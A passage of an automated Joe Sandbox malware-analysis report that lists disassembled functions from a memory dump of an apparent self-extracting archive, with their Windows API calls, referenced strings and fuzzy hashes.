Function 0090EFE2 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d69f2f774ee9fbaef3fe1a362cf68eae87c9de679118f34c1b71fc2da4e239ac
Instruction ID: 86c6fa04cf2676ddd46e3476c53b6e2e855f8ec5bcc28d952e78b723073f0e71
Opcode Fuzzy Hash: d69f2f774ee9fbaef3fe1a362cf68eae87c9de679118f34c1b71fc2da4e239ac
Instruction Fuzzy Hash: 3251E23150C3958EC722CF24C1905AEBFF5AEDA314F0909A9E4D95B683C230DB4ACB62

Function 009100B7 Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28edbb86d7946a97aed48fe6518c2be8c1f18fac245b84e9238e5e1051a510cb
Instruction ID: ad77808b9196d9a90b3eca79f868c847e95300d5da02e1f2461b2a6a1804f222
Opcode Fuzzy Hash: 28edbb86d7946a97aed48fe6518c2be8c1f18fac245b84e9238e5e1051a510cb
Instruction Fuzzy Hash: 9551E0B1A083159FC748CF19D48055AF7E1FF88314F058A2EE899E3300D735E999CB96

Function 00913E0B Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39963e26f0f32bb957082511270cc61aa548dbbc85140380b543ac3b2cb39bde
Instruction ID: ffffd37b10bc10d7d6c1d9474f735ac360571f915c2b0d93c8be7128b006a14e
Opcode Fuzzy Hash: 39963e26f0f32bb957082511270cc61aa548dbbc85140380b543ac3b2cb39bde
Instruction Fuzzy Hash: B23118B1B1474A8FCB14DF28C8512AEBBE0FB95314F14892DE889D7341C734EA4ACB91

Function 0090E2E8 Relevance: 26.5, APIs: 12, Strings: 3, Instructions: 234COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 0090E30E

Part of subcall function 00904092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 009040A5

Part of subcall function 00911DA7: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000200,00000000,00000000,?,00941030,00000200,0090D928,00000000,?,00000050,00941030), ref: 00911DC4

_strlen.LIBCMT ref: 0090E32F
SetDlgItemTextW.USER32(?,0093E274,?), ref: 0090E38F
GetWindowRect.USER32(?,?), ref: 0090E3C9
GetClientRect.USER32(?,?), ref: 0090E3D5
GetWindowLongW.USER32(?,000000F0), ref: 0090E475
GetWindowRect.USER32(?,?), ref: 0090E4A2
SetWindowTextW.USER32(?,?), ref: 0090E4DB
GetSystemMetrics.USER32(00000008), ref: 0090E4E3
GetWindow.USER32(?,00000005), ref: 0090E4EE
GetWindowRect.USER32(00000000,?), ref: 0090E51B
GetWindow.USER32(00000000,00000002), ref: 0090E58D

Strings

CAPTION, xrefs: 0090E4BD
d, xrefs: 0090E3F5
$%s:, xrefs: 0090E302

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: Window$Rect$Text$ByteCharClientItemLongMetricsMultiSystemWide__vswprintf_c_l_strlen_swprintf
String ID: $%s:$CAPTION$d
API String ID: 2407758923-2512411981
Opcode ID: f2692b77b5bbc2d729a0bf237b4a43241336938d43f518de3389ab0178a5f7aa
Instruction ID: f5a4540608d631eec6b8769a986474294e8efe10b9111485b7cac707b655e538
Opcode Fuzzy Hash: f2692b77b5bbc2d729a0bf237b4a43241336938d43f518de3389ab0178a5f7aa
Instruction Fuzzy Hash: 9781A172208301AFD710DFA8CC89B6FBBE9EBC9704F05491DFA84D7291D670E9058B52

Function 0092CB22 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0092CB66

Part of subcall function 0092C701: _free.LIBCMT ref: 0092C71E
Part of subcall function 0092C701: _free.LIBCMT ref: 0092C730
Part of subcall function 0092C701: _free.LIBCMT ref: 0092C742
Part of subcall function 0092C701: _free.LIBCMT ref: 0092C754
Part of subcall function 0092C701: _free.LIBCMT ref: 0092C766
Part of subcall function 0092C701: _free.LIBCMT ref: 0092C778
Part of subcall function 0092C701: _free.LIBCMT ref: 0092C78A
Part of subcall function 0092C701: _free.LIBCMT ref: 0092C79C
Part of subcall function 0092C701: _free.LIBCMT ref: 0092C7AE
Part of subcall function 0092C701: _free.LIBCMT ref: 0092C7C0
Part of subcall function 0092C701: _free.LIBCMT ref: 0092C7D2
Part of subcall function 0092C701: _free.LIBCMT ref: 0092C7E4
Part of subcall function 0092C701: _free.LIBCMT ref: 0092C7F6

_free.LIBCMT ref: 0092CB5B

Part of subcall function 00928DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,0092C896,?,00000000,?,00000000,?,0092C8BD,?,00000007,?,?,0092CCBA,?), ref: 00928DE2
Part of subcall function 00928DCC: GetLastError.KERNEL32(?,?,0092C896,?,00000000,?,00000000,?,0092C8BD,?,00000007,?,?,0092CCBA,?,?), ref: 00928DF4

_free.LIBCMT ref: 0092CB7D
_free.LIBCMT ref: 0092CB92
_free.LIBCMT ref: 0092CB9D
_free.LIBCMT ref: 0092CBBF
_free.LIBCMT ref: 0092CBD2
_free.LIBCMT ref: 0092CBE0
_free.LIBCMT ref: 0092CBEB
_free.LIBCMT ref: 0092CC23
_free.LIBCMT ref: 0092CC2A
_free.LIBCMT ref: 0092CC47
_free.LIBCMT ref: 0092CC5F

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: f5b9bd3a773884e02ff67a92464f3f3aad85c18690c882da7965be31f790bf1d
Instruction ID: fba22cfdc55da538721b906f0235554e7e69d5daf7f066059cf12e480f3a05db
Opcode Fuzzy Hash: f5b9bd3a773884e02ff67a92464f3f3aad85c18690c882da7965be31f790bf1d
Instruction Fuzzy Hash: AB315CB16013259FEB20AA39F84AB5B77E9AF50310F104829F588D72EADF31EC44CB10

Function 00919711 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 126memoryCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00919736
_wcslen.LIBCMT ref: 009197D6
GlobalAlloc.KERNEL32(00000040,?), ref: 009197E5
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000003,?,00000000,00000000), ref: 00919806
CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0091982D

Strings

</html>, xrefs: 009197B7
<html>, xrefs: 00919755, 0091978E
<head><meta http-equiv="content-type" content="text/html; charset=, xrefs: 00919760
utf-8"></head>, xrefs: 0091976B

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: Global_wcslen$AllocByteCharCreateMultiStreamWide
String ID: </html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
API String ID: 1777411235-4209811716
Opcode ID: d584f2cc77995d7c34e4ef05edba716b40e3fc258b5fde179723d280f29b218b
Instruction ID: faec5ac2021f7462bf821570fde8b7987d62cffebe2a8e719aa53384de189b4a
Opcode Fuzzy Hash: d584f2cc77995d7c34e4ef05edba716b40e3fc258b5fde179723d280f29b218b
Instruction Fuzzy Hash: AA3148326083157BE725AF60AC06FABB79CDFC2314F15411DF501A61D2EB64DA4887A6

Function 0091D69E Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 79windowCOMMON

Download Yara Rule

APIs

GetWindow.USER32(?,00000005), ref: 0091D6C1
GetClassNameW.USER32(00000000,?,00000800), ref: 0091D6ED

Part of subcall function 00911FBB: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011FBB,0090C116,00000000,.exe,?,?,00000800,?,?,?,00918E3C), ref: 00911FD1

GetWindowLongW.USER32(00000000,000000F0), ref: 0091D709
SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 0091D720
GetObjectW.GDI32(00000000,00000018,?), ref: 0091D734
SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 0091D75D
DeleteObject.GDI32(00000000), ref: 0091D764
GetWindow.USER32(00000000,00000002), ref: 0091D76D

Strings

STATIC, xrefs: 0091D6F3

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: Window$MessageObjectSend$ClassCompareDeleteLongNameString
String ID: STATIC
API String ID: 3820355801-1882779555
Opcode ID: d3ef743173f75f1cd3fa0262ea1bcb8277320ff73fea1b24b4ff45469fe5eef8
Instruction ID: a1cb973fccf1a481b6b385c41ffe8146a0ecbff625c32ad086c585115079fd73
Opcode Fuzzy Hash: d3ef743173f75f1cd3fa0262ea1bcb8277320ff73fea1b24b4ff45469fe5eef8
Instruction Fuzzy Hash: 131106B270A3187BE2216B709C4AFEF765CAF84751F018124FA51E20D1DBA48F8956B5

Function 009296F1 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00929705

Part of subcall function 00928DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,0092C896,?,00000000,?,00000000,?,0092C8BD,?,00000007,?,?,0092CCBA,?), ref: 00928DE2
Part of subcall function 00928DCC: GetLastError.KERNEL32(?,?,0092C896,?,00000000,?,00000000,?,0092C8BD,?,00000007,?,?,0092CCBA,?,?), ref: 00928DF4

_free.LIBCMT ref: 00929711
_free.LIBCMT ref: 0092971C
_free.LIBCMT ref: 00929727
_free.LIBCMT ref: 00929732
_free.LIBCMT ref: 0092973D
_free.LIBCMT ref: 00929748
_free.LIBCMT ref: 00929753
_free.LIBCMT ref: 0092975E
_free.LIBCMT ref: 0092976C

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 2510855600809939dba548b4cd3497b26337c9ea76378d8bba4b9bbb310dda13
Instruction ID: c7f5468ad535f16c6c4a455a7cf30af762b2c5bce077393eeedf2aaf14b8d3c0
Opcode Fuzzy Hash: 2510855600809939dba548b4cd3497b26337c9ea76378d8bba4b9bbb310dda13
Instruction Fuzzy Hash: 64110436101119BFDB01EF54E846EDA3BB9EF54350F0058A0FA088F2B6DE32DA549B84

Function 00922E31 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00922F50
___TypeMatch.LIBVCRUNTIME ref: 0092305E
_UnwindNestedFrames.LIBCMT ref: 009231B0
CallUnexpected.LIBVCRUNTIME ref: 009231CB
_abort.LIBCMT ref: 009231D0

Strings

csm, xrefs: 00922E6E
csm, xrefs: 00922F87
csm, xrefs: 00922EDB

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwind_aborttype_info::operator==
String ID: csm$csm$csm
API String ID: 322700389-393685449
Opcode ID: 7c5a4fb8cda7ec69a1bc747a460815058493fa4715ff934789b0c3d5296d279f
Instruction ID: c0ea30f57443745f013a61c372f4ee736173e3a8302ffc34e7c0692a0d08864e
Opcode Fuzzy Hash: 7c5a4fb8cda7ec69a1bc747a460815058493fa4715ff934789b0c3d5296d279f
Instruction Fuzzy Hash: B1B1AF71800229EFCF25DFA4E941AAEBBB9FF44310F148159F8016B25AD739DA61CF91

Function 00906FA5 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 134COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00906FAA
_wcslen.LIBCMT ref: 00907013
_wcslen.LIBCMT ref: 00907084

Part of subcall function 00907A9C: GetCurrentProcess.KERNEL32(00000020,?), ref: 00907AAB
Part of subcall function 00907A9C: GetLastError.KERNEL32 ref: 00907AF1
Part of subcall function 00907A9C: CloseHandle.KERNEL32(?), ref: 00907B00

Strings

SeRestorePrivilege, xrefs: 00906FC2
SeCreateSymbolicLinkPrivilege, xrefs: 00906FCC
\??\, xrefs: 0090702B
UNC\, xrefs: 00907051

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: _wcslen$CloseCurrentErrorH_prologHandleLastProcess
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 3122303884-3508440684
Opcode ID: ac0f227fc071fa370e144713367f121ea548080862b44783d4e80c6c01d9d09a
Instruction ID: 194c8aaf5ac25a6c545c97c8df18eaa485caeafddd872fe4fd5ed874bf188dab
Opcode Fuzzy Hash: ac0f227fc071fa370e144713367f121ea548080862b44783d4e80c6c01d9d09a
Instruction Fuzzy Hash: 1241E6B1D08344BEEB20E7B49C82FEEB76C9F84324F004555FA55A61C2D674BA888B61

Function 0091B5C0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 98windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00901316: GetDlgItem.USER32(00000000,00003021), ref: 0090135A
Part of subcall function 00901316: SetWindowTextW.USER32(00000000,009335F4), ref: 00901370

EndDialog.USER32(?,00000001), ref: 0091B610
SendMessageW.USER32(?,00000080,00000001,?), ref: 0091B637
SendDlgItemMessageW.USER32(?,00000066,00000172,00000000,?), ref: 0091B650
SetWindowTextW.USER32(?,?), ref: 0091B661
GetDlgItem.USER32(?,00000065), ref: 0091B66A
SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 0091B67E
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 0091B694

Strings

LICENSEDLG, xrefs: 0091B5D4

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: MessageSend$Item$TextWindow$Dialog
String ID: LICENSEDLG
API String ID: 3214253823-2177901306
Opcode ID: a86b4856583affc7eb32783675b90846c5e5cc46834373724e88279ce192084b
Instruction ID: 970d22f769ceb5b8b81b42f2d56cfec65aff166a4cf1ef378fdcb54a1ab33386
Opcode Fuzzy Hash: a86b4856583affc7eb32783675b90846c5e5cc46834373724e88279ce192084b
Instruction Fuzzy Hash: 6E21F93172C208BBD2115F76ED49FBB3B6EEB57BA1F014018F641D10A0CB969941B731

Function 0091FD10 Relevance: 13.7, APIs: 9, Instructions: 154memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,5F585B47,00000001,00000000,00000000,?,?,0090AF6C,ROOT\CIMV2), ref: 0091FD99
MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,?,?,0090AF6C,ROOT\CIMV2), ref: 0091FE14
SysAllocString.OLEAUT32(00000000), ref: 0091FE1F
_com_issue_error.COMSUPP ref: 0091FE48
_com_issue_error.COMSUPP ref: 0091FE52
GetLastError.KERNEL32(80070057,5F585B47,00000001,00000000,00000000,?,?,0090AF6C,ROOT\CIMV2), ref: 0091FE57
_com_issue_error.COMSUPP ref: 0091FE6A
GetLastError.KERNEL32(00000000,?,?,0090AF6C,ROOT\CIMV2), ref: 0091FE80
_com_issue_error.COMSUPP ref: 0091FE93

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: _com_issue_error$ByteCharErrorLastMultiWide$AllocString
String ID:
API String ID: 1353541977-0
Opcode ID: a4f201209b4e6cd6eea139fc87d5be9327e04af0df4d2ebf72be354debc8209e
Instruction ID: 139a1aa6baeeef173c4bb610c6fb22ee5dc897fa4de98f4395984d36fc5fd73f
Opcode Fuzzy Hash: a4f201209b4e6cd6eea139fc87d5be9327e04af0df4d2ebf72be354debc8209e
Instruction Fuzzy Hash: F2410A75B0021DABD710DF64DC55BEFBBA8EB84710F108239F909E7291D73499808BE0

Function 0090AF24 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 210COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0090AF29

Strings

Name, xrefs: 0090B0B0
Windows 10, xrefs: 0090B0C2
SELECT * FROM Win32_OperatingSystem, xrefs: 0090AFCA
ROOT\CIMV2, xrefs: 0090AF5C
WQL, xrefs: 0090AFDC

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: H_prolog
String ID: Name$ROOT\CIMV2$SELECT * FROM Win32_OperatingSystem$WQL$Windows 10
API String ID: 3519838083-3505469590
Opcode ID: 229550acf5c0efb8b68e0c81d192c86be1507b0d9622f21e3d33c327f8285247
Instruction ID: c39e731134d23da0cd96513f4cde2d33929be61f05c6470a454588f4b75eb213
Opcode Fuzzy Hash: 229550acf5c0efb8b68e0c81d192c86be1507b0d9622f21e3d33c327f8285247
Instruction Fuzzy Hash: 2F715A71A00219AFDB14DFA4CC95AAFB7B9FF88714B14455DE512A72A0CB30AE41DF60

Function 00909382 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 135fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00909387
GetLongPathNameW.KERNEL32(?,?,00000800), ref: 009093AA
GetShortPathNameW.KERNEL32(?,?,00000800), ref: 009093C9

Part of subcall function 0090C29A: _wcslen.LIBCMT ref: 0090C2A2

Part of subcall function 00911FBB: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011FBB,0090C116,00000000,.exe,?,?,00000800,?,?,?,00918E3C), ref: 00911FD1

_swprintf.LIBCMT ref: 00909465

Part of subcall function 00904092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 009040A5

MoveFileW.KERNEL32(?,?), ref: 009094D4
MoveFileW.KERNEL32(?,?), ref: 00909514

Strings

rtmp%d, xrefs: 0090944E

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: FileMoveNamePath$CompareH_prologLongShortString__vswprintf_c_l_swprintf_wcslen
String ID: rtmp%d
API String ID: 3726343395-3303766350
Opcode ID: bcb72d43cd9d3c4cbbaa84be61487cb36d4df526a69a4d0f28f20b3e887b8d66
Instruction ID: b7f7bb2126d2d39f4c0afa2919079991f13c2657f3a96edde39f41bed9c6c687
Opcode Fuzzy Hash: bcb72d43cd9d3c4cbbaa84be61487cb36d4df526a69a4d0f28f20b3e887b8d66
Instruction Fuzzy Hash: 8A4154B19042596EDF21AB61CC45FDE737CAF85344F0048A5BA49E3092DB388BC9DF60

Function 00911218 Relevance: 12.1, APIs: 8, Instructions: 125timeCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0091122E

Part of subcall function 0090B146: GetVersionExW.KERNEL32(?), ref: 0090B16B

FileTimeToLocalFileTime.KERNEL32(00000003,00000000,00000003,?,00000064,00000000,00000000,?), ref: 00911251
FileTimeToSystemTime.KERNEL32(00000003,?,00000003,?,00000064,00000000,00000000,?), ref: 00911263
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00911274
SystemTimeToFileTime.KERNEL32(?,?), ref: 00911284
